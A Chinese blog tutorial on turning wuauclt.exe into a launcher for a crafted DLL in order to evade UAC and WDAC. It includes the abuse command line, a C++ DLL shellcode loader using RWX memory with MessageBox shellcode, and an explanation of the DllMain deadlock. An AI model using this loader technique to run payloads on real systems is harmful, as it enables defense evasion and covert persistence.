menu Alkaid #二进制初学者 / 网络安全 / 大龄CTF退役选手
使用Dll加载Shellcode时的思考
80 浏览 | 2020-10-27 | 分类:心路历程,C语言 | 标签:

使用Dll加载Shellcode时的思考

引言

需要从一篇文章《Windows Update被发现可滥用于执行恶意程序》 说起,援引外媒 Bleeping Computer 报道,MDSec 研究人员 David Middlehurst 发现,攻击者可以通过使用以下命令行选项使用wuauclt从任意特制的 DLL 加载,从而在 Win 10 系统上执行恶意代码。

wuauclt.exe /UpdateDeploymentProvider [path_to_dll] /RunHandlerComServer

该技巧绕过 Windows 用户帐户控制(UAC)或Windows Defender应用程序控制(WDAC),可用于在已经受到威胁的系统上获得持久性。之所以能够发现,是因为他发现已经有黑客利用这个漏洞执行攻击行为。

能绕过UAC和Defender,需要构建特制的 DLL ,看图片时加载CS的shellcode成功了,开始尝试写dll加载shellcode。

爬坑

一开始想法是wuauclt.exe会调用dll,那么直接在dllmain里加载shellcode,首先使用从网上搜索的方法去加载shellcode:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[193] = 
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41\x51"
"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48"
"\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48"
"\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02"
"\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e"
"\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88"
"\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48"
"\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e"
"\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41"
"\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24"
"\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e"
"\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41"
"\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7\xc1"
"\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e\x4c\x8d"
"\x85\x05\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff"
"\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff\xd5\x48\x65\x6c"
"\x6c\x6f\x2c\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x2c"
"\x00";

DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
    LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpBase, shellcode, sizeof(shellcode));
    JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
    jmp_shellcode();
    return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

wuauclt.exe 是一个windows更新的白名单程序,是x64的,所以需要写一个x64的dll做测试,shellcode也需要生成x64的,功能是弹出窗口,但是失败了,把CreateThread换成函数直接执行时可以的,但是换了上线的shellcode就又失败了。

查阅资料后,dllmain里有很多限制:

Windows 核心编程中的原话是这样说的:

DLL 必须使用DllMain函数来对自己进行初始化。DllMain函数执行的时候,同一个地址空间的中的其他DLL可能还没有初始化,也就是没有调用其他DLL 的DllMain函数,所以我们应该尽量避免去使用从其他DLL中导入的函数。此外,还应该避免在DllMain中调用LoadLibrary(Ex)和FreeLibrary,因为这些函数可能会产生循环依赖。

介绍一下DllMain 函数:

BOOL WINAPI DllMain(
    _In_ HANDLE hInstance,
    _In_ ULONG  fdwReason,
    LPVOID Reserved
)                   //dll main 函数
{
    printf("%p\r\n", hInstance);
    switch (fdwReason)
    {
    case DLL_PROCESS_DETACH:  //0
    {
        break;
    }
    case DLL_PROCESS_ATTACH: //1
    {
        break;
    }
    case DLL_THREAD_ATTACH: //2
    {
        break;
    }
    case DLL_THREAD_DETACH: //3
    {
        break;
    }
    }
    return TRUE;
}
  • hInstance:该DLL示例的句柄。这个值表示一个虚拟的地址,DLL的文件映像就储存在这个位置。
  • fdwReason:表示调用入口点函数的原因/
  • Reserved:如果DLL是隐式加载的,那么该值不为零,否则为0。

DLL_PROCESS_ATTACH 1

当系统第一次将一个DLL映射到进程的地址空间的时候,会调用DllMain函数,并在fdwReason中传入DLL_PROCESS_ATTACH。若在第一次映射之后,调用LoadLibrary来载入一个已经映射过的DLL后,操作系统只会递增该DLL的引用计数,并不会调用DllMain。

系统中的某个线程必须负责执行DllMian函数中的代码。创建新的线程的时候,系统会分配进程地址空间并将.exe文件的映像映射到进程的地址空间中。然后,系统将创建进程的主线程,并用这个主线程来调用每个DLL的DllMain函数,同时传入DLL_PROCESS_ATTACH。当所有的已经映射的DLL 都完成了DllMain的调用,那么系统就会让主线程取开始执行.exe的C/C++运行时的启动代码,然后执行.exe的入口点函数(main或 WinMain)。

DLL_PROCESS_DETACH 0

当系统将一个DLL从进程的地址空间中撤销映射时,会调用DllMain函数,并在fdwReason中传入DLL_PROCESS_DETACH。如果当DLL_PROCESS_ATTACH时,返回是False,那么将不会有DLL_PROCESS_DETACH的通知。

如果撤销映射的原因是因为进程要被终止,那么调用和ExitProcess函数的线程将负责执行DllMain函数。

如果撤销映射的原因是因为进程中的一个线程调用了FreeLibrary,那么发出调用的线程将执行DllMain函数中的代码。并在DllMian处理完DLL_PROCESS_DETACH通知之前,线程是不会返回的。

注意:

Dll可能会阻碍进程的终止。只有当每个Dll都处理完DLL_PROCESS_DETACH通知之后,操作系统才会终止进程。

如果进程终止是因为TerminateProcess,那么系统不会用DLL_PROCESS_DETACH来调用DllMian。

DLL_THREAD_ATTACH 2

当进程创建一个线程的时候,系统会检测当前映射到该进程地址空间中的所有DLL文件映像,并用DLL_THREAD_ATTACH来调用每个DLL的DllMain函数。新建线程负责执行所有的DLL的DllMain函数中的代码。只有当所有DLL都完成了对该通知的处理之后,系统才会让新线程开始执行它的线程代码。(这也就是出现线程死锁的问题所在)

新建线程只会去调用已经被映射到系统进程空间的DLL中的DllMain函数。也就是说,当一个DLL映射到进程地址空间的时候,已经存在的线程是不会调用该DLL的DlllMain函数的。

注意:

进程是不会让进程的主线程去调用DLL_THREAD_ATTACH值来调用DllMai函数的,在进程创建的时候,被映射到进程地址空间的任何DLL会收到DLL_PROCESS_ATTACH通知,而不是DLL_THREAD_ATTACH的通知。

DLL_THREAD_DETACH 3

当线程终止的首选方式就是让它的线程函数返回。这回使得系统调用ExitThread来终止线程。ExitThread告诉系统该线程想要终止,但系统不会立即终止,而会让这个线程用DLL_THREAD_DETACH来调用所有已经被映射DLL的DllMain函数。

注意:

DLL可能会妨碍线程的终止,只有当每个DLL都处理完DLL_THREAD_DETACH统治之后,系统才会真正的终止线程。

进程中的一个线程调用LoadLibrary来载入DLL这使得系统会用DLL_PROCESS_ATTACH来调用DLL的DllMain。当载入该DLL的线程退出的时候,会用DLL_THREAD_DETACH来调用DllMain函数。

在简单的了解DllMain的工作机制后,来分析一个为什么不能在DllMain中创建线程。

你先是想一下这样的情况:

  • 一个进程有两个线程A和B,进程地址空间还映射了一个DLL.dll的DLL。两个线程都调用CreateThread来创建新的线程C和D。
  • 当线程A调用CreateThread来创建线程C的时候,系统会用DLL_THREAD_ATTACH来调用DLL.dll中的DllMian函数,当新建线程C执行DllMain中的代码的时候,线程B调用CreateThread来创建线程D的时候,系统也必须调用DLL.dll中的DllMain函数,但是这次是让要让线程D来执行DllMain。
  • 这个时候系统就会对DllMain函数的调用序列化,它会将线程D挂起,知道线程C执行完DllMain中的代码并返回为止。

这由于会将线程挂起等待的原因,会让在DllMain中创建线程会导致线程死锁的问题。所以不建议在dll里面创建线程,可能会导致死锁等一系列问题。于是想办法能不能在导出函数里操作。

解决方法

从windbg上获取wuauclt的符号,可以发现通过/UpdateDeploymentProvider和/RunHandlerComServer参数来调用RunUpdateHandler

RunUpdateHandler内部功能就是调用dll的ord序号为3的函数

微软已经帮我们提供一个查看dll导出函数的命令,嵌在VS开发环境中,可以查看32位和64位的dll。具体使用方法如下:(例如查看d:a.dll的导出函数)

  1. 进入VS开发环境,然后Tools -> Visual studio 2010 Command Prompt
  2. cd到目录下
  3. 输入命令d:dumpbin /exports a.dll回车即可看到a.dll的所有导出函数

如果要重定向输出至b.txt文本文件,则命令格式如下:d:dumpbin /exports a.dll /out:b.txt

通过修改def文件可以定制导出函数的ord序号,在“深入浅出MFC”的第一章有提到,每个windows程序(.exe或者是.dll) 都需要一个模块定义文件,将 模块名称、程序段、数据段 的内存特性、模块堆(heap)大小、堆栈(stack)大小、所有callback函数名称等等登记下来。但在使用VC IDE开发程序的时候,不是每次都需要特别准备 .def 文件,因为新程序的 模块定义文件 的每个部分都有默认值。一下是一个典型的模块定义文件的实例:

NAME                   Generic

DESCRIPTION           'Generic Sample'

EXETYPE                WINDOWS

STUB                   'WINSTUB.EXE'

CODE                   PRELOAD DISCARDABLE

DATA                   PRELOAD MOVEABLE MULTIPLE

HEAPSIZE               4096

STACKSIZE              10240

EXPORTS                MainWndProc  @1
                       AboutBox      @2

然后思路很清晰了,只需要把shellcode加载放在ord为3的函数,这样就会自动加载这个函数,最后成功上线。

参考文章

https://blog.csdn.net/qq_42021840/article/details/105956819
https://www.cnblogs.com/findumars/p/6517562.html
https://blog.csdn.net/weixin_33800593/article/details/86336892
https://blog.csdn.net/weixin_44001905/article/details/104733600

温柔正确的人总是难以生存,因为这世界既不温柔,也不正确

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!